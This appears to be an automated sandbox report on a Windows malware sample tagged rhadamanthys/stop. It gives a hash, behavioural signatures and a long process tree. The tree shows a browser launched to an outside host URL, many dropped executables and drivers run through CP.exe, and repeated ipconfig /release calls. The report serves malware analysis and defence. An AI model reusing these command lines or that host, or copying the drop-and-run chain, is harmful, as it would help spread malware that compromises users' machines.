Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
31/05/2026, 11:18
General
- Target 2026-05-31_2e071804dfd73ed79b616c899bc743b2_elex_rhadamanthys_stop.exe
- Size 243KB
- Sample260531-ner8jsft71
- SHA256 847e1bcc791bb421aa8bfad768796dbec1a9d84f3598d268d84a0aa5e9d9af86
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-31_2e071804dfd73ed79b616c899bc743b2_elex_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-31_2e071804dfd73ed79b616c899bc743b2_elex_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3080 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pmhfzxspkh.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\pmhfzxspkh.exeC:\Temp\pmhfzxspkh.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pmhfzxspkh.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pmhfzxspkh.exeC:\Temp\i_pmhfzxspkh.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rpjhbzurmj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rpjhbzurmj.exeC:\Temp\rpjhbzurmj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rpjhbzurmj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rpjhbzurmj.exeC:\Temp\i_rpjhbzurmj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jhbztrmjec.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jhbztrmjec.exeC:\Temp\jhbztrmjec.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jhbztrmjec.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jhbztrmjec.exeC:\Temp\i_jhbztrmjec.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqoigbztr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ywqoigbztr.exeC:\Temp\ywqoigbztr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqoigbztr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ywqoigbztr.exeC:\Temp\i_ywqoigbztr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\eywqoigbyt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\eywqoigbyt.exeC:\Temp\eywqoigbyt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_eywqoigbyt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_eywqoigbyt.exeC:\Temp\i_eywqoigbyt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vqoigaytql.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\vqoigaytql.exeC:\Temp\vqoigaytql.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vqoigaytql.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_vqoigaytql.exeC:\Temp\i_vqoigaytql.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nlfdxvpnif.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nlfdxvpnif.exeC:\Temp\nlfdxvpnif.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nlfdxvpnif.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nlfdxvpnif.exeC:\Temp\i_nlfdxvpnif.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxspkhca.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfzxspkhca.exeC:\Temp\hfzxspkhca.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxspkhca.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxspkhca.exeC:\Temp\i_hfzxspkhca.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kicausmkfc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\kicausmkfc.exeC:\Temp\kicausmkfc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kicausmkfc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_kicausmkfc.exeC:\Temp\i_kicausmkfc.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxrpjhcz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpjhcz.exeC:\Temp\hfzxrpjhcz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxrpjhcz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxrpjhcz.exeC:\Temp\i_hfzxrpjhcz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecwuomgezw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ecwuomgezw.exeC:\Temp\ecwuomgezw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecwuomgezw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomgezw.exeC:\Temp\i_ecwuomgezw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bztrljebwt.exe ups_run2⤵
-
C:\Temp\bztrljebwt.exeC:\Temp\bztrljebwt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bztrljebwt.exe ups_ins2⤵
-
C:\Temp\i_bztrljebwt.exeC:\Temp\i_bztrljebwt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\geywqoigby.exe ups_run2⤵
-
C:\Temp\geywqoigby.exeC:\Temp\geywqoigby.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_geywqoigby.exe ups_ins2⤵
-
C:\Temp\i_geywqoigby.exeC:\Temp\i_geywqoigby.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbvtnlgdyv.exe ups_run2⤵
-
C:\Temp\dbvtnlgdyv.exeC:\Temp\dbvtnlgdyv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbvtnlgdyv.exe ups_ins2⤵
-
C:\Temp\i_dbvtnlgdyv.exeC:\Temp\i_dbvtnlgdyv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\aysqkidavt.exe ups_run2⤵
-
C:\Temp\aysqkidavt.exeC:\Temp\aysqkidavt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_aysqkidavt.exe ups_ins2⤵
-
C:\Temp\i_aysqkidavt.exeC:\Temp\i_aysqkidavt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdxnifaysq.exe ups_run2⤵
-
C:\Temp\fdxnifaysq.exeC:\Temp\fdxnifaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fdxnifaysq.exe ups_ins2⤵
-
C:\Temp\i_fdxnifaysq.exeC:\Temp\i_fdxnifaysq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\faxspkicau.exe ups_run2⤵
-
C:\Temp\faxspkicau.exeC:\Temp\faxspkicau.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_faxspkicau.exe ups_ins2⤵
-
C:\Temp\i_faxspkicau.exeC:\Temp\i_faxspkicau.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zxrpkhcaus.exe ups_run2⤵
-
C:\Temp\zxrpkhcaus.exeC:\Temp\zxrpkhcaus.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zxrpkhcaus.exe ups_ins2⤵
-
C:\Temp\i_zxrpkhcaus.exeC:\Temp\i_zxrpkhcaus.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\urmjecwuom.exe ups_run2⤵
-
C:\Temp\urmjecwuom.exeC:\Temp\urmjecwuom.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_urmjecwuom.exe ups_ins2⤵
-
C:\Temp\i_urmjecwuom.exeC:\Temp\i_urmjecwuom.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\omgezwugey.exe ups_run2⤵
-
C:\Temp\omgezwugey.exeC:\Temp\omgezwugey.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_omgezwugey.exe ups_ins2⤵
-
C:\Temp\i_omgezwugey.exeC:\Temp\i_omgezwugey.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\czurmkecwu.sysC:\Temp\czurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\zojhbztrlj.sysC:\Temp\zojhbztrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\rljebwtomg.sysC:\Temp\rljebwtomg.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgdywqoiga.sysC:\Temp\lgdywqoiga.sys1⤵
- Executes dropped EXE
-
C:\Temp\dyvqnigays.sysC:\Temp\dyvqnigays.sys1⤵
- Executes dropped EXE
-
C:\Temp\ysqkidavsn.sysC:\Temp\ysqkidavsn.sys1⤵
- Executes dropped EXE
-
C:\Temp\avsnkfdxvp.sysC:\Temp\avsnkfdxvp.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpnhfaxspk.sysC:\Temp\vpnhfaxspk.sys1⤵
- Executes dropped EXE
-
C:\Temp\smhezxrpjh.sysC:\Temp\smhezxrpjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojhbzurmje.sysC:\Temp\ojhbzurmje.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgezwrpj.sysC:\Temp\uomgezwrpj.sys1⤵
-
C:\Temp\rljdbwtolg.sysC:\Temp\rljdbwtolg.sys1⤵
-
C:\Temp\oigaytqljd.sysC:\Temp\oigaytqljd.sys1⤵
-
C:\Temp\tnlyvqoiga.sysC:\Temp\tnlyvqoiga.sys1⤵
-
C:\Temp\nlfdxvpnif.sysC:\Temp\nlfdxvpnif.sys1⤵
-
C:\Temp\nkfdxvpnhf.sysC:\Temp\nkfdxvpnhf.sys1⤵
-
C:\Temp\kfcxupnhfz.sysC:\Temp\kfcxupnhfz.sys1⤵
-
C:\Temp\mkecwupmhe.sysC:\Temp\mkecwupmhe.sys1⤵
-
C:\Temp\ecwuojhbzu.sysC:\Temp\ecwuojhbzu.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
avsnkfdxvp.sys
czurmkecwu.sys
dyvqnigays.sys
eywqoigbyt.exe
hfzxspkhca.exe
i_eywqoigbyt.exe
i_jhbztrmjec.exe
i_nlfdxvpnif.exe
i_pmhfzxspkh.exe
i_rpjhbzurmj.exe
i_vqoigaytql.exe
i_ywqoigbztr.exe
jhbztrmjec.exe
lgdywqoiga.sys
nlfdxvpnif.exe
pmhfzxspkh.exe
rljebwtomg.sys
rpjhbzurmj.exe
vqoigaytql.exe
ysqkidavsn.sys
ywqoigbztr.exe
zojhbztrlj.sys
8A7891822FCFF127E4EADADE9757112B
8A7891822FCFF127E4EADADE9757112B
suggestions[1].en-US
memory/1084-136-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1148-144-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1400-120-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2056-124-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2056-84-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2736-26-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3156-105-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3372-140-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3596-64-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3676-156-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3752-152-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3912-148-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4040-96-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4248-128-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4708-38-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4800-14-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4996-132-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5024-52-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5088-116-0x0000000000010000-0x0000000000083000-memory.dmp